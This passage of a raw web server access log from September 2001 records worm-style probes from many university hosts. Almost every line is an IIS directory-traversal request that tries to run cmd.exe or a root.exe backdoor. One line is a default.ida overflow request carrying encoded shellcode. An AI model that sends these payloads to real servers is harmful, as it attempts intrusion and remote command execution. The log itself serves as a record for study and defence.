HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:11:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:12:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:13:12: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:13:26: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 06:17:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:18:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:20:09: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:27:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:37:16: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:38:03: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:38:05: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:08: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:08: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:09: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:38:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:39:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:43:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:44:26: 